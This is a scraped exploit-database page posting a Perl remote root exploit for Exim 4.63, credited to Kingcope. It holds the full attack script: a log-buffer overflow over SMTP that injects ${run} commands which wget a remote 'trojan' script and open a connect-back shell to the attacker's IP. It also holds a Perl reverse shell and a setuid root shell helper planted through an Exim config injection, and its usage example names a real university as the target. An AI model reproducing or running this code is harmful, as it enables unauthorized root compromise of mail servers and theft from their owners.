Home / os / win7

[remote exploits] - Exim 4.63 Remote Exploit

Posted on 11 December 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Exim 4.63 Remote Exploit | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exim 4.63 Remote Exploit by Kingcope in remote exploits | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>======================== Exim 4.63 Remote Exploit ======================== #Exim 4.63 (RedHat/Centos/Debian) Remote Root Exploit by Kingcope #Modified perl version of metasploit module =for comment use this connect back shell as &quot;trojanurl&quot; and be sure to setup a netcat, ---snip--- $system = &#039;/bin/sh&#039;; $ARGC=@ARGV; if ($ARGC!=2) { print &quot;Usage: $0 [Host] [Port] &quot;; die &quot;Ex: $0 127.0.0.1 2121 &quot;; } use Socket; use FileHandle; socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname(&#039;tcp&#039;)) or die print &quot;[-] Unable to Resolve Host &quot;; connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print &quot;[-] Unable to Connect Host &quot;; SOCKET-&gt;autoflush(); open(STDIN, &quot;&gt;&amp;SOCKET&quot;); open(STDOUT,&quot;&gt;&amp;SOCKET&quot;); open(STDERR,&quot;&gt;&amp;SOCKET&quot;); open FILE, &quot;&gt;/var/spool/exim4/s.c&quot;; print FILE qq{ #include &lt;stdio.h&gt; #include &lt;unistd.h&gt; int main(int argc, char *argv[]) { setuid(0); setgid(0); setgroups(0, NULL); execl(&quot;/bin/sh&quot;, &quot;sh&quot;, NULL); } }; close FILE; system(&quot;gcc /var/spool/exim4/s.c -o /var/spool/exim4/s; rm /var/spool/exim4/s.c&quot;); open FILE, &quot;&gt;/tmp/e.conf&quot;; print FILE &quot;spool_directory = ${run{/bin/chown root:root /var/spool/exim4/s}}${run{/bin/chmod 4755 /var/spool/exim4/s}}&quot;; close FILE; system(&quot;exim -C/tmp/e.conf -q; rm /tmp/e.conf&quot;); system(&quot;uname -a;&quot;); system(&quot;/var/spool/exim4/s&quot;); system($system); ---snip--- =cut use IO::Socket; if ($#ARGV ne 3) { print &quot;./eximxpl &lt;host/ip&gt; &lt;trojanurl&gt; &lt;yourip&gt; &lt;yourport&gt; &quot;; print &quot;example: ./eximxpl utoronto.edu http://www.h4x.net/shell.txt 3.1.33.7 443 &quot;; exit; } $|=1; $trojan = $ARGV[1]; $myip = $ARGV[2]; $myport = $ARGV[3]; $helohost = &quot;abcde.com&quot;; $max_msg = 52428800; my $sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $ARGV[0], PeerPort =&gt; &quot;25&quot;, Proto =&gt; &#039;tcp&#039;); while(&lt;$sock&gt;) { print; if ($_ =~ /220 /) { last;} } print $sock &quot;EHLO $helohost &quot;; while(&lt;$sock&gt;) { print; if ($_ =~ /250-SIZE (d+)/) { $max_msg = $1; print &quot;Set size to $max_msg ! &quot;; } if ($_ =~ /^250.*Hello ([^s]+) [([^]]+)]/) { $revdns = $1; $saddr = $2; } if ($_ =~ /250 /) { last;} } if ($revdns eq $helohost) { $vv = &quot;&quot;; } else { $vv = $revdns. &quot; &quot;; } $vv .= &quot;(&quot; . $helohost . &quot;)&quot;; $from = &quot;root@local.com&quot;; $to = &quot;postmaster@localhost&quot;; $msg_len = $max_msg + 1024*256; $logbuffer_size = 8192; $logbuffer = &quot;YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from &lt;$from&gt; H=$vv [$saddr]: message too big: read=$msg_len max=$max_msg &quot;; $logbuffer .= &quot;Envelope-from: &lt;$from&gt; Envelope-to: &lt;$to&gt; &quot;; $filler = &quot;V&quot; x (8 * 16); $logbuffer_size -= 3; for ($k=0;$k&lt;60;$k++) { if (length($logbuffer) &gt;= $logbuffer_size) {last;} $hdr = sprintf(&quot;Header%04d: %s &quot;, $k, $filler); $newlen = length($logbuffer) + length($hdr); if ($newlen &gt; $logbuffer_size) { $newlen -= $logbuffer_size; $off = length($hdr) - $newlen - 2 - 1; $hdr = substr($hdr, 0, $off); $hdr .= &quot; &quot;; } $hdrs .= $hdr; $logbuffer .= &quot; &quot; . $hdr; } $hdrx = &quot;HeaderX: &quot;; $k2 = 3; for ($k=1;$k&lt;=200;$k++) { if ($k2 &gt; 12) { $k2 = 3; } # $hdrx .= &quot;${run{/bin/sh -c &#039;exec /bin/sh -i &lt;&amp;$k2 &gt;&amp;0 2&gt;&amp;0&#039;}} &quot;; $hdrx .= &quot;${run{/bin/sh -c &quot;exec /bin/sh -c &#039;wget $trojan -O /tmp/c.pl;perl /tmp/c.pl $myip $myport; sleep 10000000&#039;&quot;}} &quot;; $k2++; } $v = &quot;A&quot; x 255 . &quot; &quot;; $body = &quot;&quot;; while (length($body) &lt; $msg_len) { $body .= $v; } $body = substr($body, 0, $msg_len); print $sock &quot;MAIL FROM: &lt;$from&gt; &quot;; $v = &lt;$sock&gt;; print $v; print $sock &quot;RCPT TO: &lt;$to&gt; &quot;; $v = &lt;$sock&gt;; print $v; print $sock &quot;DATA &quot;; $v = &lt;$sock&gt;; print $v; print &quot;Sending large buffer, please wait... &quot;; print $sock $hdrs; print $sock $hdrx . &quot; &quot;; print $sock $body; print $sock &quot; . &quot;; $v = &lt;$sock&gt;; print $v; print $sock &quot;MAIL FROM: &lt;$from&gt; &quot;; $v = &lt;$sock&gt;; print $v; print $sock &quot;RCPT TO: &lt;$to&gt; &quot;; while(1){}; # <a href='http://1337db.com/'>1337db.com</a> [2010-12-11]</pre></body></html>

 

TOP